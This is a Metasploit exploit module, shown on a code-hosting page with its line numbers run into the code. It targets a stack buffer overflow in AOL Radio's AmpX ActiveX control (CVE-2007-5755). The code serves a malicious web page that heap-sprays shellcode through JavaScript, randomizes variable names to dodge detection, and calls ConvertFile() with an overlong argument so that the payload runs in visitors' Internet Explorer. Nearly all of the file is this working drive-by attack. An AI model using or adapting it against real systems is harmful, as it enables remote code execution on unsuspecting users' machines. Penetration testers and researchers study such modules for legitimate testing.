Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
25684 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX17class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.18By setting an overly long value to 'ConvertFile()', an attacker can overrun19a buffer and execute arbitrary code.20},21'License' => MSF_LICENSE,22'Author' => [23'rgod <rgod[at]autistici.org>', # Original exploit [see References]24'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation25],26'References' => [27[ 'CVE', '2007-5755' ],28[ 'OSVDB', '54706' ],29[ 'BID', '35028' ],30[ 'EDB', '8733' ],31],32'DefaultOptions' => {33'EXITFUNC' => 'process',34},35'Payload' => {36'Space' => 1024,37'BadChars' => "\x00\x09\x0a\x0d'\\",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]43],44'DisclosureDate' => '2009-05-19',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)53end5455def autofilter56false57end5859def check_dependencies60use_zlib61end6263def on_request_uri(cli, request)64# Re-generate the payload65return if ((p = regenerate_payload(cli)) == nil)6667# Encode the shellcode68shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6970# Setup exploit buffers71nops = Rex::Text.to_unescape([target.ret].pack('V'))72ret = Rex::Text.uri_encode([target.ret].pack('L'))73blocksize = 0x4000074fillto = 50075offset = target['Offset']7677# Randomize the javascript variable names78ampx = rand_text_alpha(rand(100) + 1)79j_shellcode = rand_text_alpha(rand(100) + 1)80j_nops = rand_text_alpha(rand(100) + 1)81j_headersize = rand_text_alpha(rand(100) + 1)82j_slackspace = rand_text_alpha(rand(100) + 1)83j_fillblock = rand_text_alpha(rand(100) + 1)84j_block = rand_text_alpha(rand(100) + 1)85j_memory = rand_text_alpha(rand(100) + 1)86j_counter = rand_text_alpha(rand(30) + 2)87j_ret = rand_text_alpha(rand(100) + 1)88j_eax = rand_text_alpha(rand(100) + 1)89j_bof = rand_text_alpha(rand(100) + 1)90randnop = rand_text_alpha(rand(100) + 1)9192# Build out the message93content = %Q|94<html>95<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>96<script language='javascript'>97#{j_shellcode}=unescape('#{shellcode}');98var #{randnop} = "#{nops}";99#{j_nops}=unescape(#{randnop});100#{j_headersize}=20;101#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;102while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};103#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});104#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});105while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};106#{j_memory}=new Array();107for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};108#{j_eax}='';109for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');110#{j_ret}='';111for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');112#{j_bof}=#{j_eax}+#{j_ret};113#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);114#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);115#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);116#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);117</script>118</html>119|120121print_status("Sending #{self.name}")122123# Transmit the response to the client124send_response_html(cli, content)125126# Handle the payload127handler(cli)128end129end130131132